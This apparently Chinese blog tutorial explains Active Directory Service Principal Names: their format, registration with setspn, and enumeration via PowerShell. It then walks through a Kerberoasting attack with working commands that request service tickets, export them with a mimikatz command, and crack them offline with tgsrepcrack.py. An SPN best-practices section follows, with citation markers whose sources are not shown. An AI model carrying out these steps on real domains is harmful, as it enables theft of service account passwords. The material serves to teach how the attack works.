服务主体名称SPN

在这里插入图片描述

SPN是什么?

在我们了解SPN之前,我们需要去了解一下Active Directory域中的服务概念是什么。

服务实际上是一种功能,一种软件,可以被域内成员使用的东西,例如Web服务,网络共享服务,DNS服务,打印服务等等。

这些都是服务的概念。

那么同一个服务可以在不同主机下运行,例如打印服务,他并不是专属于这一个主机的,它可以应用于多个主机,给多个主机提供打印文件的服务,所以我们需要指定主机,而一台计算机可以承载多个服务,所以我们需要指定服务。这样的话,我们就可以准确的指定服务给那台计算机服务。

这两个合起来就是服务主体名称或者也可以叫做SPN。

例如:

服务类/主机名或者域名

服务类实际上是服务的一个通用名称,例如所有的Web服务都归于www类,SQL服务可以归为SqlServer类。

如果服务在自定义端口上面运行,你可以将这个端口加到主机名后面。

服务类/主机名或者域名:端口

或者也可以命名SPN。

如果我想在上面指定一个Web服务:WEB-SERVER-01 SPN如下:

这里的www就是服务类。

www/WEB-SERVER-01

要么就是

www/WEB-SERVER-01.relaysec.com

如下是Kerberos票据中服务的SPN。

这个票据表示有人在域内请求dc.relaysec.com的cifs服务后创建的。
在这里插入图片描述
有大量的服务类,这里是Microsoft 文档中内置的一个列表。

这里服务类中有例如CIFS与文件共享的服务,DNS 域名解析服务,spooler打印服务等等,但是这里面并不详细,例如没有SQLserver或者Ldap目录服务类。这些类通常可以在AD环境中找到。
在这里插入图片描述
在AD域中的对象SPN属性有一种特殊的情况,它是HoST SPN。
在这里插入图片描述

因此如果用户在AD域上不仅会查找www/USER-WIN7,也会查找Host/USER-WIN7,如果主机有Host SPN,那么也一位着它也有www SPN。

SPN分为两种类型:

一种是注册在活动目录的机器帐户(Computers)下,当一个服务的权限为 Local System 或 Network Service,则SPN注册在机器帐户(Computers)下。

.一种是注册在活动目录的域用户帐户(Users)下,当一个服务的权限为一个域用户,则SPN注册在域用户帐户(Users)下。

在Windows域里,默认普通机器账号有权注册SPN:

setspn -A MSSQLSvc/user-win7.relaysec.com user-win7

在这里插入图片描述
在user-win7这台机器上的servicePrincipalNames属性查看。
在这里插入图片描述可以看到已经注册进来了。

但是普通域用户是不能注册SPN的。

在这里插入图片描述
可以看到hack这个用户的权限是不够的。

这样就会导致一个问题,如果SqlServer使用 Local SysTem account来启动的话,kerberos就能认证成功,这时候就可以在DC上注册SPN,如果用一个普通用户的话,kerberos就不能成功,因为这时候SPN注册不上去。那么为了解决这个问题,我们可以在DC上赋予域账号Read servicePrincipalName和Write serverPrincipalName的权限,在ACL中添加ACE即可。

注意这里不是通过活动目录查找的,这里需要通过ADSI编辑器,然后右击连接,默认即可。
在这里插入图片描述
然后将下面红框中的选项勾选即可。这里选择主体 SELF。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
可以看到现在就可以注册了。
在这里插入图片描述

查找域内存在的SPN

使用过滤器进行查找(servicePrincipalName=*),也就是servicePrincipalName属性,也可以使用setSpn。
在这里插入图片描述

使用Setspn
Setspn -Q */*

在这里插入图片描述

使用powershell
$search = New-Object DirectoryServices.DirectorySearcher([ADSI]"")
$search.filter = "(servicePrincipalName=*)"
$results = $search.Findall()foreach($result in $results) {
$userEntry = $result.GetDirectoryEntry()
Write-host "Object : " $userEntry.name "(" $userEntry.distinguishedName ")"
Write-host "List SPN :"    
foreach($SPN in $userEntry.servicePrincipalName)
{
Write-Host $SPN
}
Write-host ""}

在这里插入图片描述
如果我们想查看具体一个或者多个的SPN用户账户。

$search = New-Object DirectoryServices.DirectorySearcher([ADSI]"")
$search.filter = "(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*))"
$results = $search.Findall()foreach($result in $results){
$userEntry = $result.GetDirectoryEntry()
Write-host "User : " $userEntry.name "(" $userEntry.distinguishedName ")"
Write-host "SPNs"
foreach($SPN in $userEntry.servicePrincipalName)
{
$SPN
}
Write-host ""}

kerberoasting攻击

kerberoastring攻击是出在TGS_REP阶段的,由于ST服务票据是使用服务的Hash进行加密的,所以如果我们能获取到ST服务票据,就可以对该ST服务票据进行暴力破解,得到服务的Hash,在TGS_REP这一阶段并不会验证客户端是否有权限访问服务端,因此这一步无论用户也没有访问服务的权限,只要TGT正确,都会返回ST服务票据,这也就是kerberoasting能利用的原因,任何一个域内用户都是去请求任何一个服务的ST服务票据。

攻击流程

1.攻击者提供一个正常的域用户密码进行认证,获得TGT

2.攻击者使用该TGT请求针对指定SPN的ST

3.KDC在验证身份后,返回服务Hash加密的ST,不管提供的域用户有没有对指定SPN服务的访问权限

4.攻击者本地离线爆破ST,获得SPN所链接账户的明文密码( 重点是密码字典

请求SPN
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "mssql/user-win7.relaysec.com"

在这里插入图片描述
导出票据

kerberos::list /export

在这里插入图片描述

破解票据
python3 tgsrepcrack.py pass.txt "2-40a10000-w10a$@MSSQLSvc~sqlsrv.test.com~1433-TEST.COM.kirbi"

如果得到的是一个有权注册SPN的域账号,也可以通过手动注册的方式来进行Kerberoasting攻击。

### SPN (Service Principal Name) 配置教程和最佳实践 #### 什么是SPN服务主体名称(SPN)用于唯一标识活动目录中的某个特定服务实例。当客户机请求访问该服务时,会通过Kerberos协议使用此名称来获取适当的服务票据[^1]。 #### 如何创建并管理SPN? 为了确保域环境中各服务能够被正确定位与认证,在Active Directory中设置正确的SPNs至关重要: - **注册新的AD用户账户**:作为准备工作的第一步,需先建立专门用来运行某项服务的账号。 - **设定SPN条目**:利用`setspn`命令行工具向指定对象添加对应的SPN记录。例如要为名为sqlsvc的计算机上的MSSQLSvc/sqlserver.example.com:1433这样的SQL Server实例关联一个已存在的domain\serviceaccount,则应执行如下指令: ```powershell setspn -A MSSQLSvc/sqlserver.example.com:1433 domain\serviceaccount ``` - **验证现有配置**:可以通过同样的工具查询当前系统中存在的所有SPN定义情况,以便确认操作无误或是排查潜在冲突问题: ```powershell setspn -L domain\serviceaccount ``` 对于Azure环境下的资源而言,也可以借助CLI完成类似的任务,比如创建一个新的应用程序服务主体及其相关权限授予过程可以这样实现[^2]: ```bash az ad sp create-for-rbac -n "http://mySP" --sdk-auth ``` #### 安全性和合规性的考量 考虑到安全性因素,建议遵循以下几点指导原则: - 尽量减少具有高特权的身份数量; - 对敏感数据和服务实施严格的访问控制措施; - 使用强密码策略保护涉及的关键实体; - 定期审查及更新授权列表以移除不再必要的链接关系; - 启用审计日志功能跟踪任何可疑行为模式[^3]。 此外需要注意的是,在某些特殊场景下(如远程桌面连接),即便启用了严格的安全检查机制,只要正确设置了SPN并且客户端支持相应选项的话,仍然允许正常通信发生而不受阻碍[^4]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值